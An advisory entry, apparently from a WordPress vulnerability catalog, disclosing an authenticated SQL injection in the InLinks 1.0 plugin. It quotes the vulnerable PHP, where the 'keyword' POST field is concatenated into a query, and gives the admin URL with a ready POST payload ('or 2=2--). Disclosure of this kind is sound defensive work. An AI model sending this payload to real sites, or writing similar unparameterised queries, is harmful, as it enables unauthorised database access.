WordPress Plugin Vulnerabilities

InLinks 1.0 - Authenticated SQL Injection

Description

SQL injection is POST parameter "keyword"

Affected file inlinks/inlinks.php

Affected lines:

58 $Keyword = trim($_POST['keyword']);
59 $URL = trim($_POST['url']);
60 $Rel = trim($_POST['rel']);
61 $Target = trim($_POST['target']);
62 $table_name = $wpdb->prefix ."URLKeywordsMapping";
63 $SelectKeywordURLMappingDetails = "select * from $table_name
where FldKeyword LIKE '".$Keyword."'" ;
64
65 $KeywordURLMappingDetails =
$wpdb->get_results($SelectKeywordURLMappingDetails);
66
67 if(count($KeywordURLMappingDetails))
68 {
69 $Message = "<div align='center' style=\"color:red;
font-weight:bold;\">The keyword <i>".$Keyword."</i> already exists in
the table.</div>";
70 }

More issues seems to exist in the plugin, because of lack of input
validation and the lack of use of prepared statements.

Affected URL:

/wp-admin/options-general.php?page=inlinks%2Finlinks.php

POST Parameters (with payload):
keyword=gweeperx'or+2=2--+-&url=http%3A%2F%2F127.0.0.4&rel=nofollow&target=_blank&ActionType=AddKeywordURL&Add=Add

Proof of Concept

Affects Plugins

No known fix

References

Classification

Type
SQLI
OWASP top 10
CWE
CVSS

Miscellaneous

Submitter
Dimopoulos Elias
Submitter twitter
Verified
No

Timeline

Publicly Published
2017-11-22 (about 8 years ago)
Added
2017-11-23 (about 8 years ago)
Last Updated
2020-09-22 (about 5 years ago)

Other